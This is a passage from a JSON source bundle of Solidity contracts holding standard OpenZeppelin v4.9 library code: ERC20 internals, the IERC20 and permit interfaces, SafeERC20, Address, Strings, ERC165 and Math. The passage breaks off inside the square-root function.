`amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(address owner, address spender, uint256 amount) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 amount) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Permit.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.4) (token/ERC20/extensions/IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n *\n * ==== Security Considerations\n *\n * There are two important considerations concerning the use of `permit`. The first is that a valid permit signature\n * expresses an allowance, and it should not be assumed to convey additional meaning. In particular, it should not be\n * considered as an intention to spend the allowance in any specific way. The second is that because permits have\n * built-in replay protection and can be submitted by anyone, they can be frontrun. A protocol that uses permits should\n * take this into consideration and allow a `permit` call to fail. Combining these two aspects, a pattern that may be\n * generally recommended is:\n *\n * ```solidity\n * function doThingWithPermit(..., uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public {\n * try token.permit(msg.sender, address(this), value, deadline, v, r, s) {} catch {}\n * doThing(..., value);\n * }\n *\n * function doThing(..., uint256 value) public {\n * token.safeTransferFrom(msg.sender, address(this), value);\n * ...\n * }\n * ```\n *\n * Observe that: 1) `msg.sender` is used as the owner, leaving no ambiguity as to the signer intent, and 2) the use of\n * `try/catch` allows the permit to fail and makes the code tolerant to frontrunning. (See also\n * {SafeERC20-safeTransferFrom}).\n *\n * Additionally, note that smart contract wallets (such as Argent or Safe) are not able to produce permit signatures, so\n * contracts should have entry points that don't rely on permit.\n */\ninterface IERC20Permit {\n /**\n * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n *\n * IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n *\n * For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n *\n * CAUTION: See Security Considerations above.\n */\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /**\n * @dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n *\n * Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n */\n function nonces(address owner) external view returns (uint256);\n\n /**\n * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n */\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.3) (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\nimport \"../extensions/IERC20Permit.sol\";\nimport \"../../../utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using Address for address;\n\n /**\n * @dev Transfer `value` amount of `token` from the calling contract to `to`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n /**\n * @dev Transfer `value` amount of `token` from `from` to `to`, spending the approval given by `from` to the\n * calling contract. If `token` returns no value, non-reverting calls are assumed to be successful.\n */\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n /**\n * @dev Increase the calling contract's allowance toward `spender` by `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n uint256 oldAllowance = token.allowance(address(this), spender);\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance + value));\n }\n\n /**\n * @dev Decrease the calling contract's allowance toward `spender` by `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance - value));\n }\n }\n\n /**\n * @dev Set the calling contract's allowance toward `spender` to `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful. Meant to be used with tokens that require the approval\n * to be set to zero before setting it to a non-zero value, such as USDT.\n */\n function forceApprove(IERC20 token, address spender, uint256 value) internal {\n bytes memory approvalCall = abi.encodeWithSelector(token.approve.selector, spender, value);\n\n if (!_callOptionalReturnBool(token, approvalCall)) {\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));\n _callOptionalReturn(token, approvalCall);\n }\n }\n\n /**\n * @dev Use a ERC-2612 signature to set the `owner` approval toward `spender` on `token`.\n * Revert on invalid signature.\n */\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n token.permit(owner, spender, value, deadline, v, r, s);\n uint256 nonceAfter = token.nonces(owner);\n require(nonceAfter == nonceBefore + 1, \"SafeERC20: permit did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n require(returndata.length == 0 || abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n *\n * This is a variant of {_callOptionalReturn} that silents catches all reverts and returns a bool instead.\n */\n function _callOptionalReturnBool(IERC20 token, bytes memory data) private returns (bool) {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We cannot use {Address-functionCall} here since this should return false\n // and not revert is the subcall reverts.\n\n (bool success, bytes memory returndata) = address(token).call(data);\n return\n success && (returndata.length == 0 || abi.decode(returndata, (bool))) && Address.isContract(address(token));\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n *\n * Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.4) (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./math/Math.sol\";\nimport \"./math/SignedMath.sol\";\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n string memory buffer = new string(length);\n uint256 ptr;\n /// @solidity memory-safe-assembly\n assembly {\n ptr := add(buffer, add(32, length))\n }\n while (true) {\n ptr--;\n /// @solidity memory-safe-assembly\n assembly {\n mstore8(ptr, byte(mod(value, 10), _SYMBOLS))\n }\n value /= 10;\n if (value == 0) break;\n }\n return buffer;\n }\n }\n\n /**\n * @dev Converts a `int256` to its ASCII `string` decimal representation.\n */\n function toString(int256 value) internal pure returns (string memory) {\n return string(abi.encodePacked(value < 0 ? \"-\" : \"\", toString(SignedMath.abs(value))));\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n\n /**\n * @dev Returns true if the two strings are equal.\n */\n function equal(string memory a, string memory b) internal pure returns (bool) {\n return keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/math/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary Math {\n enum Rounding {\n Down, // Toward negative infinity\n Up, // Toward infinity\n Zero // Toward zero\n }\n\n /**\n * @dev Returns the largest of two numbers.\n */\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two numbers.\n */\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n */\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /**\n * @dev Returns the ceiling of the division of two numbers.\n *\n * This differs from standard division with `/` in that it rounds up instead\n * of rounding down.\n */\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /**\n * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)\n * with further edits by Uniswap Labs also under MIT license.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod0 := mul(x, y)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n // Solidity will revert if denominator == 0, unlike the div opcode on its own.\n // The surrounding unchecked block does not change this fact.\n // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n require(denominator > prod1, \"Math: mulDiv overflow\");\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.\n // See https://cs.stackexchange.com/q/138556/92363.\n\n // Does not overflow because the denominator cannot be zero at this stage in the function.\n uint256 twos = denominator & (~denominator + 1);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works\n // in modular arithmetic, doubling the correct bits in each step.\n inverse *= 2 - denominator * inverse; // inverse mod 2^8\n inverse *= 2 - denominator * inverse; // inverse mod 2^16\n inverse *= 2 - denominator * inverse; // inverse mod 2^32\n inverse *= 2 - denominator * inverse; // inverse mod 2^64\n inverse *= 2 - denominator * inverse; // inverse mod 2^128\n inverse *= 2 - denominator * inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /**\n * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /**\n * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.\n *\n * Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n */\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.\n //\n // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`\n // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`\n // → `2**(k/2) <= 